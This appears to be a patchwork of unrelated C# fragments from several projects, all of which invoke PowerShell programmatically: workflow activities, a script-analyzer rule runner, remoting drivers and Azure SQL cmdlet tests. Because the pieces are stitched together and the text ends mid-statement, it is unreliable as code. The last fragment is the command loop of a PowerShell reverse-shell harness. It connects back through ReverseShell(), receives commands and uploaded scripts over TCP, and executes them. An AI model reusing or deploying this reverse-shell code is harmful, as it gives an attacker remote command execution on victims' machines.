(String.IsNullOrEmpty(commandName)) { throw new ArgumentException(ActivityResources.CommandNameRequired); } Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity ID={0}: Invoking command '{1}'.", context.ActivityInstanceId, commandName)); invoker = System.Management.Automation.PowerShell.Create(); invoker.AddCommand(commandName); System.Collections.Hashtable parameters = Parameters.Get(context); if (parameters != null && parameters.Count > 0) { foreach (var key in parameters.Keys) { Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity: Adding parameter '-{0} {1}'.", key, parameters[key])); } invoker.AddParameters(parameters); } } var implementationContext = new ActivityImplementationContext { PowerShellInstance = invoker, WorkflowContext = activityUsingVariables }; return(implementationContext); }
/// <summary> /// GetExternalRecord: Get external rules in parallel using RunspacePool and run each rule in its own runspace. /// </summary> /// <param name="ast"></param> /// <param name="token"></param> /// <param name="rules"></param> /// <param name="command"></param> /// <param name="filePath"></param> /// <returns></returns> public IEnumerable <DiagnosticRecord> GetExternalRecord(Ast ast, Token[] token, ExternalRule[] rules, InvokeScriptAnalyzerCommand command, string filePath) { // Defines InitialSessionState. InitialSessionState state = InitialSessionState.CreateDefault2(); // Groups rules by module paths and imports them. Dictionary <string, List <ExternalRule> > modules = rules .GroupBy <ExternalRule, string>(item => item.GetFullModulePath()) .ToDictionary(item => item.Key, item => item.ToList()); state.ImportPSModule(modules.Keys.ToArray <string>()); // Creates and opens RunspacePool RunspacePool rsp = RunspaceFactory.CreateRunspacePool(state); rsp.SetMinRunspaces(1); rsp.SetMaxRunspaces(5); rsp.Open(); // Groups rules by AstType and Tokens. Dictionary <string, List <ExternalRule> > astRuleGroups = rules .Where <ExternalRule>(item => item.GetParameter().EndsWith("ast", true, CultureInfo.CurrentCulture)) .GroupBy <ExternalRule, string>(item => item.GetParameter()) .ToDictionary(item => item.Key, item => item.ToList()); Dictionary <string, List <ExternalRule> > tokenRuleGroups = rules .Where <ExternalRule>(item => item.GetParameter().EndsWith("token", true, CultureInfo.CurrentCulture)) .GroupBy <ExternalRule, string>(item => item.GetParameter()) .ToDictionary(item => item.Key, item => item.ToList()); using (rsp) { // Defines the commands to be run. List <System.Management.Automation.PowerShell> powerShellCommands = new List <System.Management.Automation.PowerShell>(); // Defines the command results. List <IAsyncResult> powerShellCommandResults = new List <IAsyncResult>(); #region Builds and invokes commands list foreach (KeyValuePair <string, List <ExternalRule> > tokenRuleGroup in tokenRuleGroups) { foreach (IExternalRule rule in tokenRuleGroup.Value) { System.Management.Automation.PowerShell posh = System.Management.Automation.PowerShell.Create(); posh.RunspacePool = rsp; // Adds command to run external analyzer rule, like // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst // Adds module name (source name) to handle ducplicate function names in different modules. string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName()); posh.Commands.AddCommand(ruleName); posh.Commands.AddParameter(rule.GetParameter(), token); // Merges results because external analyzer rules may throw exceptions. posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); powerShellCommands.Add(posh); powerShellCommandResults.Add(posh.BeginInvoke()); } } foreach (KeyValuePair <string, List <ExternalRule> > astRuleGroup in astRuleGroups) { // Find all AstTypes that appeared in rule groups. IEnumerable <Ast> childAsts = ast.FindAll(new Func <Ast, bool>((testAst) => (testAst.GetType().Name.ToLower(CultureInfo.CurrentCulture) == astRuleGroup.Key.ToLower(CultureInfo.CurrentCulture))), false); foreach (Ast childAst in childAsts) { foreach (IExternalRule rule in astRuleGroup.Value) { System.Management.Automation.PowerShell posh = System.Management.Automation.PowerShell.Create(); posh.RunspacePool = rsp; // Adds command to run external analyzer rule, like // Measure-CurlyBracket -ScriptBlockAst $ScriptBlockAst // Adds module name (source name) to handle ducplicate function names in different modules. string ruleName = string.Format("{0}\\{1}", rule.GetSourceName(), rule.GetName()); posh.Commands.AddCommand(ruleName); posh.Commands.AddParameter(rule.GetParameter(), childAst); // Merges results because external analyzer rules may throw exceptions. posh.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); powerShellCommands.Add(posh); powerShellCommandResults.Add(posh.BeginInvoke()); } } } #endregion #region Collects the results from commands. for (int i = 0; i < powerShellCommands.Count; i++) { // EndInvoke will wait for each command to finish, so we will be getting the commands // in the same order that they have been invoked withy BeginInvoke. PSDataCollection <PSObject> psobjects = powerShellCommands[i].EndInvoke(powerShellCommandResults[i]); foreach (var psobject in psobjects) { DiagnosticSeverity severity; IScriptExtent extent; string message = string.Empty; string ruleName = string.Empty; // Because error stream is merged to output stream, // we need to handle the error records. if (psobject.ImmediateBaseObject is ErrorRecord) { ErrorRecord record = (ErrorRecord)psobject.ImmediateBaseObject; command.WriteError(record); continue; } // DiagnosticRecord may not be correctly returned from external rule. try { Enum.TryParse <DiagnosticSeverity>(psobject.Properties["Severity"].Value.ToString().ToUpper(), out severity); message = psobject.Properties["Message"].Value.ToString(); extent = (IScriptExtent)psobject.Properties["Extent"].Value; ruleName = psobject.Properties["RuleName"].Value.ToString(); } catch (Exception ex) { command.WriteError(new ErrorRecord(ex, ex.HResult.ToString("X"), ErrorCategory.NotSpecified, this)); continue; } if (!string.IsNullOrEmpty(message)) { yield return(new DiagnosticRecord(message, extent, ruleName, severity, null)); } } } #endregion } }
private static void HandleErrorFromPipeline(Cmdlet cmdlet, ErrorRecord errorRecord, PowerShell powerShell) { if (!cmdlet.MyInvocation.ExpectingInput) { if (((powerShell.Runspace != null) && (powerShell.Runspace.RunspaceStateInfo.State != RunspaceState.Opened)) || ((powerShell.RunspacePool != null) && (powerShell.RunspacePool.RunspacePoolStateInfo.State != RunspacePoolState.Opened))) { cmdlet.ThrowTerminatingError(errorRecord); } } cmdlet.WriteError(errorRecord); }
private static IEnumerable <PSObject> InvokeTopLevelPowerShell( PowerShell powerShell, CancellationToken cancellationToken, PSCmdlet cmdlet, PSInvocationSettings invocationSettings, string errorMessageTemplate) { using (var mergedOutput = new BlockingCollection <Func <PSCmdlet, IEnumerable <PSObject> > >(s_blockingCollectionCapacity)) { var asyncOutput = new PSDataCollection <PSObject>(); EventHandler <DataAddedEventArgs> outputHandler = GetStreamForwarder <PSObject>( output => mergedOutput.Add(_ => new[] { output }), swallowInvalidOperationExceptions: true); EventHandler <DataAddedEventArgs> errorHandler = GetStreamForwarder <ErrorRecord>( errorRecord => mergedOutput.Add( delegate(PSCmdlet c) { errorRecord = GetErrorRecordForRemotePipelineInvocation(errorRecord, errorMessageTemplate); HandleErrorFromPipeline(c, errorRecord, powerShell); return(Enumerable.Empty <PSObject>()); }), swallowInvalidOperationExceptions: true); EventHandler <DataAddedEventArgs> warningHandler = GetStreamForwarder <WarningRecord>( warningRecord => mergedOutput.Add( delegate(PSCmdlet c) { c.WriteWarning(warningRecord.Message); return(Enumerable.Empty <PSObject>()); }), swallowInvalidOperationExceptions: true); EventHandler <DataAddedEventArgs> verboseHandler = GetStreamForwarder <VerboseRecord>( verboseRecord => mergedOutput.Add( delegate(PSCmdlet c) { c.WriteVerbose(verboseRecord.Message); return(Enumerable.Empty <PSObject>()); }), swallowInvalidOperationExceptions: true); EventHandler <DataAddedEventArgs> debugHandler = GetStreamForwarder <DebugRecord>( debugRecord => mergedOutput.Add( delegate(PSCmdlet c) { c.WriteDebug(debugRecord.Message); return(Enumerable.Empty <PSObject>()); }), swallowInvalidOperationExceptions: true); EventHandler <DataAddedEventArgs> informationHandler = GetStreamForwarder <InformationRecord>( informationRecord => mergedOutput.Add( delegate(PSCmdlet c) { c.WriteInformation(informationRecord); return(Enumerable.Empty <PSObject>()); }), swallowInvalidOperationExceptions: true); asyncOutput.DataAdded += outputHandler; powerShell.Streams.Error.DataAdded += errorHandler; powerShell.Streams.Warning.DataAdded += warningHandler; powerShell.Streams.Verbose.DataAdded += verboseHandler; powerShell.Streams.Debug.DataAdded += debugHandler; powerShell.Streams.Information.DataAdded += informationHandler; try { // TODO/FIXME: ETW event for PowerShell invocation var asyncResult = powerShell.BeginInvoke <PSObject, PSObject>( input: null, output: asyncOutput, settings: invocationSettings, callback: delegate { try { mergedOutput.CompleteAdding(); } catch (InvalidOperationException) // ignore exceptions thrown because mergedOutput.CompleteAdding was called { } }, state: null); using (cancellationToken.Register(powerShell.Stop)) { try { foreach (Func <PSCmdlet, IEnumerable <PSObject> > mergedOutputItem in mergedOutput.GetConsumingEnumerable()) { foreach (PSObject outputObject in mergedOutputItem(cmdlet)) { yield return(outputObject); } } } finally { mergedOutput.CompleteAdding(); powerShell.EndInvoke(asyncResult); } } } finally { asyncOutput.DataAdded -= outputHandler; powerShell.Streams.Error.DataAdded -= errorHandler; powerShell.Streams.Warning.DataAdded -= warningHandler; powerShell.Streams.Verbose.DataAdded -= verboseHandler; powerShell.Streams.Debug.DataAdded -= debugHandler; powerShell.Streams.Information.DataAdded -= informationHandler; } } }
/// <summary> /// Default constructor for creating ServerPowerShellDrivers /// </summary> /// <param name="powershell">decoded powershell object.</param> /// <param name="extraPowerShell">extra pipeline to be run after <paramref name="powershell"/> completes.</param> /// <param name="noInput">whether there is input for this powershell.</param> /// <param name="clientPowerShellId">the client powershell id.</param> /// <param name="clientRunspacePoolId">the client runspacepool id.</param> /// <param name="runspacePoolDriver">runspace pool driver /// which is creating this powershell driver</param> /// <param name="apartmentState">apartment state for this powershell.</param> /// <param name="hostInfo">host info using which the host for /// this powershell will be constructed</param> /// <param name="streamOptions">serialization options for the streams in this powershell.</param> /// <param name="addToHistory"> /// true if the command is to be added to history list of the runspace. false, otherwise. /// </param> /// <param name="rsToUse"> /// If not null, this Runspace will be used to invoke Powershell. /// If null, the RunspacePool pointed by <paramref name="runspacePoolDriver"/> will be used. /// </param> /// <param name="output"> /// If not null, this is used as another source of output sent to the client. /// </param> internal ServerPowerShellDriver(PowerShell powershell, PowerShell extraPowerShell, bool noInput, Guid clientPowerShellId, Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver, ApartmentState apartmentState, HostInfo hostInfo, RemoteStreamOptions streamOptions, bool addToHistory, Runspace rsToUse, PSDataCollection <PSObject> output) #endif { InstanceId = clientPowerShellId; RunspacePoolId = clientRunspacePoolId; RemoteStreamOptions = streamOptions; #if !CORECLR // No ApartmentState In CoreCLR this.apartmentState = apartmentState; #endif LocalPowerShell = powershell; _extraPowerShell = extraPowerShell; _localPowerShellOutput = new PSDataCollection <PSObject>(); _noInput = noInput; _addToHistory = addToHistory; _psDriverInvoker = runspacePoolDriver; DataStructureHandler = runspacePoolDriver.DataStructureHandler.CreatePowerShellDataStructureHandler(clientPowerShellId, clientRunspacePoolId, RemoteStreamOptions, LocalPowerShell); _remoteHost = DataStructureHandler.GetHostAssociatedWithPowerShell(hostInfo, runspacePoolDriver.ServerRemoteHost); if (!noInput) { InputCollection = new PSDataCollection <object>(); InputCollection.ReleaseOnEnumeration = true; InputCollection.IdleEvent += new EventHandler <EventArgs>(HandleIdleEvent); } RegisterPipelineOutputEventHandlers(_localPowerShellOutput); if (LocalPowerShell != null) { RegisterPowerShellEventHandlers(LocalPowerShell); _datasent[0] = false; } if (extraPowerShell != null) { RegisterPowerShellEventHandlers(extraPowerShell); _datasent[1] = false; } RegisterDataStructureHandlerEventHandlers(DataStructureHandler); // set the runspace pool and invoke this powershell if (rsToUse != null) { LocalPowerShell.Runspace = rsToUse; if (extraPowerShell != null) { extraPowerShell.Runspace = rsToUse; } } else { LocalPowerShell.RunspacePool = runspacePoolDriver.RunspacePool; if (extraPowerShell != null) { extraPowerShell.RunspacePool = runspacePoolDriver.RunspacePool; } } if (output != null) { output.DataAdded += (sender, args) => { if (_localPowerShellOutput.IsOpen) { var items = output.ReadAll(); foreach (var item in items) { _localPowerShellOutput.Add(item); } } }; } }
/// <summary> /// Create $testdb1 and $testdb2 on the given context. /// </summary> /// <param name="powershell">The powershell instance containing the context.</param> /// <param name="contextVariable">The variable name that holds the server context.</param> public static void CreateTestDatabasesWithSqlAuth( System.Management.Automation.PowerShell powershell, string contextVariable) { HttpSession testSession = DatabaseTestHelper.DefaultSessionCollection.GetSession( "UnitTest.Common.CreateTestDatabasesWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent); switch (expected.Index) { // Request 0-1: Create testdb1 // Request 2-3: Create testdb2 case 0: case 1: case 2: case 3: DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; default: Assert.Fail("No more requests expected."); break; } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { Collection <PSObject> database1, database2; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { database1 = powershell.InvokeBatchScript( @"$testdb1 = New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb1 " + @"-Force", @"$testdb1"); database2 = powershell.InvokeBatchScript( @"$testdb2 = New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb2 " + @"-Collation Japanese_CI_AS " + @"-Edition Web " + @"-MaxSizeGB 5 " + @"-Force", @"$testdb2"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); Assert.IsTrue( database1.Single().BaseObject is Services.Server.Database, "Expecting a Database object"); Services.Server.Database database1Obj = (Services.Server.Database)database1.Single().BaseObject; Assert.AreEqual("testdb1", database1Obj.Name, "Expected db name to be testdb1"); Assert.IsTrue( database2.Single().BaseObject is Services.Server.Database, "Expecting a Database object"); Services.Server.Database database2Obj = (Services.Server.Database)database2.Single().BaseObject; Assert.AreEqual("testdb2", database2Obj.Name, "Expected db name to be testdb2"); Assert.AreEqual( "Japanese_CI_AS", database2Obj.CollationName, "Expected collation to be Japanese_CI_AS"); Assert.AreEqual("Web", database2Obj.Edition, "Expected edition to be Web"); Assert.AreEqual(5, database2Obj.MaxSizeGB, "Expected max size to be 5 GB"); } }
/// <summary> /// Get the PowerShell instance for the PSv3 (or later) remote end /// Generate the PowerShell instance by using the text of the scriptblock /// </summary> /// <remarks> /// In PSv3 and PSv4, if the remote server is PSv3 or later, we generate an object array that contains the value of each using expression in /// the parsing order, and then pass the array to the remote end as a special argument. On the remote end, the using expressions will be indexed /// in the same parsing order during the variable analysis process, and the index is used to get the value of the corresponding using expression /// from the special array. There is a limitation in that approach -- $using cannot be used in different scopes with Invoke-Command/Start-Job /// (see WinBlue#475223), because the variable analysis process can only index using expressions within the same scope (this is by design), and a /// using expression from a different scope may be assigned with an index that conflicts with other using expressions. /// /// To fix the limitation described above, we changed to pass a dictionary with key/value pairs for the using expressions on the client side. The key /// is an unique base64 encoded string generated based on the text of the using expression. On the remote end, it can always get the unique key of a /// using expression because the text passed to the server side is the same, and thus the value of the using expression can be retrieved from the special /// dictionary. With this approach, $using in different scopes can be supported for Invoke-Command/Start-Job. /// /// This fix involved changes on the server side, so the fix will work only if the remote end is PSv5 or later. In order to avoid possible breaking /// change in 'PSv5 client - PSv3 server' and 'PSv5 client - PSv4 server' scenarios, we should keep sending the array-form using values if the remote /// end is PSv3 or PSv4 as long as no UsingExpression is in a different scope. If the remote end is PSv3 or PSv4 and we do have UsingExpressions /// in different scopes, then we will revert back to the approach we use to handle UsingExpression for PSv2 remote server. /// </remarks> /// <returns></returns> private System.Management.Automation.PowerShell GetPowerShellForPSv3OrLater(string serverPsVersion) { if (_powershellV3 != null) { return _powershellV3; } // Try to convert the scriptblock to powershell commands. _powershellV3 = ConvertToPowerShell(); if (_powershellV3 != null) { return _powershellV3; } // Using expressions can be a variable, as well as property and / or array references. E.g. // // icm { echo $using:a } // icm { echo $using:a[3] } // icm { echo $using:a.Length } // // Semantic checks on the using statement have already validated that there are no arbitrary expressions, // so we'll allow these expressions in everything but NoLanguage mode. bool allowUsingExpressions = (Context.SessionState.LanguageMode != PSLanguageMode.NoLanguage); object[] usingValuesInArray = null; IDictionary usingValuesInDict = null; // Value of 'serverPsVersion' should be either 'PSv3Orv4' or 'PSv5OrLater' if (serverPsVersion == PSv3Orv4) { usingValuesInArray = ScriptBlockToPowerShellConverter.GetUsingValuesAsArray(_scriptBlock, allowUsingExpressions, Context, null); if (usingValuesInArray == null) { // 'usingValuesInArray' will be null only if there are UsingExpressions used in different scopes. // PSv3 and PSv4 remote server cannot handle this, so we revert back to the approach we use for PSv2 remote end. return GetPowerShellForPSv2(); } } else { // Remote server is PSv5 or later version usingValuesInDict = ScriptBlockToPowerShellConverter.GetUsingValuesAsDictionary(_scriptBlock, allowUsingExpressions, Context, null); } string textOfScriptBlock = this.MyInvocation.ExpectingInput ? _scriptBlock.GetWithInputHandlingForInvokeCommand() : _scriptBlock.ToString(); _powershellV3 = System.Management.Automation.PowerShell.Create().AddScript(textOfScriptBlock); if (_args != null) { foreach (object arg in _args) { _powershellV3.AddArgument(arg); } } if (usingValuesInDict != null && usingValuesInDict.Count > 0) { _powershellV3.AddParameter(Parser.VERBATIM_ARGUMENT, usingValuesInDict); } else if (usingValuesInArray != null && usingValuesInArray.Length > 0) { _powershellV3.AddParameter(Parser.VERBATIM_ARGUMENT, usingValuesInArray); } return _powershellV3; }
public void NewAzureSqlDatabaseServerContextWithSqlAuthNegativeCases() { HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTests.NewAzureSqlDatabaseServerContextWithSqlAuthNegativeCases"); using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { UnitTestHelper.ImportAzureModule(powershell); UnitTestHelper.CreateTestCredential(powershell); powershell.Runspace.SessionStateProxy.SetVariable( "serverName", SqlDatabaseTestSettings.Instance.ServerName); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { // Tell the sql auth factory to create a v2 context (skip checking sql version using select query). // SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2; // Test warning when different $metadata is received. Collection <PSObject> serverContext; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { serverContext = powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"$context = New-AzureSqlDatabaseServerContext " + @"-ServerName $servername " + @"-ManageUrl {0} " + @"-Credential $credential", MockHttpServer.DefaultServerPrefixUri.AbsoluteUri), @"$context"); } Assert.AreEqual(1, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(2, powershell.Streams.Warning.Count, "Should have warning!"); powershell.Streams.ClearStreams(); // Tell the sql auth factory to create a v2 context (skip checking sql version using select query). // SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2; // Test error case using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { powershell.InvokeBatchScript( string.Format( CultureInfo.InvariantCulture, @"$context = New-AzureSqlDatabaseServerContext " + @"-ServerName $servername " + @"-ManageUrl {0} " + @"-Credential $credential", MockHttpServer.DefaultServerPrefixUri.AbsoluteUri), @"$context"); } Assert.AreEqual(1, powershell.Streams.Error.Count, "Should have errors!"); Assert.AreEqual(2, powershell.Streams.Warning.Count, "Should have warning!"); Assert.AreEqual( "Test error message", powershell.Streams.Error.First().Exception.Message); Assert.IsTrue( powershell.Streams.Warning.Any( (w) => w.Message.StartsWith("Client Session Id:")), "Client session Id not written to warning"); Assert.IsTrue( powershell.Streams.Warning.Any( (w) => w.Message.StartsWith("Client Request Id:")), "Client request Id not written to warning"); powershell.Streams.ClearStreams(); } } }
/// <summary> /// To display an exception using the display formatter, /// run a second pipeline passing in the error record. /// The runtime will bind this to the $input variable, /// which is why $input is being piped to the Out-String /// cmdlet. The WriteErrorLine method is called to make sure /// the error gets displayed in the correct error color. /// </summary> /// <param name="e">The exception to display.</param> private void ReportException(Exception e) { if (e != null) { object error; IContainsErrorRecord icer = e as IContainsErrorRecord; if (icer != null) { error = icer.ErrorRecord; } else { error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } this.currentPowerShell.Runspace = this.myRunSpace; try { this.currentPowerShell.AddScript("$input").AddCommand("out-string"); // Do not merge errors, this function will swallow errors. Collection<PSObject> result; PSDataCollection<object> inputCollection = new PSDataCollection<object>(); inputCollection.Add(error); inputCollection.Complete(); result = this.currentPowerShell.Invoke(inputCollection); if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { // Remove \r\n, which is added by the Out-String cmdlet. this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); } } } finally { // Dispose of the pipeline and set it to null, locking it because // currentPowerShell may be accessed by the ctrl-C handler. lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } }
internal ActivityCreatedEventArgs(System.Management.Automation.PowerShell instance) { this.PowerShellInstance = instance; }
public void SetAzureSqlDatabaseNameWithSqlAuth() { using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Create a context NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth( powershell, "$context"); NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth( powershell, "$contextCleanup"); HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTests.SetAzureSqlDatabaseNameWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsNotNull(actual.UserAgent); if (expected.Index < 10) { // Request 0-4: Set testdb1 with new name of new_testdb1 // Request 5-9: Set new_testdb1 with new name of testdb1 DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); } else { Assert.Fail("No more requests expected."); } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { // Create context with both ManageUrl and ServerName overriden Collection <PSObject> database; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { database = powershell.InvokeBatchScript( @"Set-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb1 " + @"-NewName new_testdb1 " + @"-Force " + @"-PassThru"); powershell.InvokeBatchScript( @"Set-AzureSqlDatabase " + @"-Context $contextCleanup " + @"-DatabaseName new_testdb1 " + @"-NewName testdb1 " + @"-Force"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); Services.Server.Database databaseObj = database.Single().BaseObject as Services.Server.Database; Assert.IsNotNull(databaseObj, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(databaseObj, "new_testdb1", "Web", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid); } } }
protected override void BeginProcessing() { if (base.ParameterSetName.Equals("DefaultSet", StringComparison.OrdinalIgnoreCase)) { if (this.WsmanAuthentication != null && (this._isDcomAuthenticationSpecified || this._isImpersonationSpecified)) { string str = StringUtil.Format(ComputerResources.ParameterConfliction, ComputerResources.ParameterUsage); InvalidOperationException invalidOperationException = new InvalidOperationException(str); base.ThrowTerminatingError(new ErrorRecord(invalidOperationException, "ParameterConfliction", ErrorCategory.InvalidOperation, null)); } bool flag = this.Protocol.Equals("DCOM", StringComparison.OrdinalIgnoreCase); bool flag1 = this.Protocol.Equals("WSMan", StringComparison.OrdinalIgnoreCase); if (this._isProtocolSpecified && flag && this.WsmanAuthentication != null) { string str1 = StringUtil.Format(ComputerResources.InvalidParameterForDCOM, ComputerResources.ParameterUsage); InvalidOperationException invalidOperationException1 = new InvalidOperationException(str1); base.ThrowTerminatingError(new ErrorRecord(invalidOperationException1, "InvalidParameterForDCOM", ErrorCategory.InvalidOperation, null)); } if (this._isProtocolSpecified && flag1 && (this._isDcomAuthenticationSpecified || this._isImpersonationSpecified)) { string str2 = StringUtil.Format(ComputerResources.InvalidParameterForWSMan, ComputerResources.ParameterUsage); InvalidOperationException invalidOperationException2 = new InvalidOperationException(str2); base.ThrowTerminatingError(new ErrorRecord(invalidOperationException2, "InvalidParameterForWSMan", ErrorCategory.InvalidOperation, null)); } if (!this._isProtocolSpecified && this.WsmanAuthentication != null) { this.Protocol = "WSMan"; } } if ((this._timeoutSpecified || this._waitForSpecified || this._delaySpecified) && !this.Wait) { InvalidOperationException invalidOperationException3 = new InvalidOperationException(ComputerResources.RestartComputerInvalidParameter); base.ThrowTerminatingError(new ErrorRecord(invalidOperationException3, "RestartComputerInvalidParameter", ErrorCategory.InvalidOperation, null)); } if (this.Wait) { this._activityId = (new Random()).Next(); if (this._timeout == -1 || this._timeout >= 0x20c49b) { this._timeoutInMilliseconds = 0x7fffffff; } else { this._timeoutInMilliseconds = this._timeout * 0x3e8; } WaitForServiceTypes waitForServiceType = this._waitFor; if (waitForServiceType == WaitForServiceTypes.Wmi || waitForServiceType == WaitForServiceTypes.WinRM) { return; } else if (waitForServiceType == WaitForServiceTypes.PowerShell) { this._powershell = System.Management.Automation.PowerShell.Create(); this._powershell.AddScript("\r\n$array = @($input)\r\n$result = @{}\r\nforeach ($computerName in $array[1])\r\n{\r\n $ret = $null\r\n if ($array[0] -eq $null)\r\n {\r\n $ret = Invoke-Command -ComputerName $computerName {$true} -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction SilentlyContinue\r\n }\r\n else\r\n {\r\n $ret = Invoke-Command -ComputerName $computerName {$true} -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction SilentlyContinue -Credential $array[0]\r\n }\r\n\r\n if ($ret -eq $true)\r\n {\r\n $result[$computerName] = $true\r\n }\r\n else\r\n {\r\n $result[$computerName] = $false\r\n }\r\n}\r\n$result\r\n"); return; } InvalidOperationException invalidOperationException4 = new InvalidOperationException(ComputerResources.NoSupportForCombinedServiceType); ErrorRecord errorRecord = new ErrorRecord(invalidOperationException4, "NoSupportForCombinedServiceType", ErrorCategory.InvalidOperation, (object)((int)this._waitFor)); base.ThrowTerminatingError(errorRecord); } }
// Module defining this command // Optional custom code for this activity /// <summary> /// Returns a configured instance of System.Management.Automation.PowerShell, pre-populated with the command to run. /// </summary> /// <param name="context">The NativeActivityContext for the currently running activity.</param> /// <returns>A populated instance of System.Management.Automation.PowerShell</returns> /// <remarks>The infrastructure takes responsibility for closing and disposing the PowerShell instance returned.</remarks> protected override ActivityImplementationContext GetPowerShell(NativeActivityContext context) { System.Management.Automation.PowerShell invoker = global::System.Management.Automation.PowerShell.Create(); System.Management.Automation.PowerShell targetCommand = invoker.AddCommand(PSCommandName); // Initialize the arguments if (Path.Expression != null) { targetCommand.AddParameter("Path", Path.Get(context)); } if (LiteralPath.Expression != null) { targetCommand.AddParameter("LiteralPath", LiteralPath.Get(context)); } if (Name.Expression != null) { targetCommand.AddParameter("Name", Name.Get(context)); } if (NewName.Expression != null) { targetCommand.AddParameter("NewName", NewName.Get(context)); } if (PassThru.Expression != null) { targetCommand.AddParameter("PassThru", PassThru.Get(context)); } if (Force.Expression != null) { targetCommand.AddParameter("Force", Force.Get(context)); } if (Filter.Expression != null) { targetCommand.AddParameter("Filter", Filter.Get(context)); } if (Include.Expression != null) { targetCommand.AddParameter("Include", Include.Get(context)); } if (Exclude.Expression != null) { targetCommand.AddParameter("Exclude", Exclude.Get(context)); } if (Credential.Expression != null) { targetCommand.AddParameter("Credential", Credential.Get(context)); } return(new ActivityImplementationContext() { PowerShellInstance = invoker }); }
private void run() { Debug.WriteLine("[DEBUG] Starting handler"); // Define some helpful triggers and flags char HARNESS_CMD_CHAR = '^'; string BEGINFILE_TAG = "<rf>"; string ENDFILE_TAG = "</rf>"; string USER_BREAK = "end"; bool MULTILINE_FLAG = false; bool REMOTEFILE_FLAG = false; // Buffer for reading data byte[] bytes; // Holds string representation of data send over the wire string data = ""; // Used to accumulate data from imported file string data_chunk = ""; // Replace ReverseShell() with BindShell() as needed this.client = ReverseShell(); this.stream = client.GetStream(); using (this.ps = PowerShell.Create()) { while (!this.ShouldExit) { if (stream.CanRead) { bytes = new byte[client.ReceiveBufferSize]; int i; // Loop to receive all the data sent by the client. while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { // Deal with multiline script by prompting for more input (e.g. >>) if (MULTILINE_FLAG) { data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); // Check to see if the user wants to break out of multiline if (data_chunk == HARNESS_CMD_CHAR + USER_BREAK) { ProcessPS(data); MULTILINE_FLAG = false; data = ""; } else { data += data_chunk; } } else if (REMOTEFILE_FLAG) { // Need to check and see if the script is done transfering data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); if (data_chunk.ToLower() == ENDFILE_TAG) { Debug.WriteLine("[DEBUG] File received"); if (IsValid(data)) { ProcessPS(data); } else { this.host.UI.WriteLine("[!] Transfer errors found. Try import again"); } data = ""; REMOTEFILE_FLAG = false; } else { data += data_chunk; data_chunk = ""; } } else { data = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim(); if (data.ToLower() == "exit" || data.ToLower() == "quit") break; if (data.ToLower() == BEGINFILE_TAG) { Debug.WriteLine("[DEBUG] Receiving File"); REMOTEFILE_FLAG = true; data = ""; } if (data != "" && !REMOTEFILE_FLAG) { Debug.WriteLine("[DEBUG] Command Received: " + data.ToString()); // ProcessLocal is reserved for non-PS Harness commands that require special handling if (data[0] == HARNESS_CMD_CHAR) { ProcessLocal(data); data = ""; } } } // Determine how we deal with the data received if (!REMOTEFILE_FLAG) { if 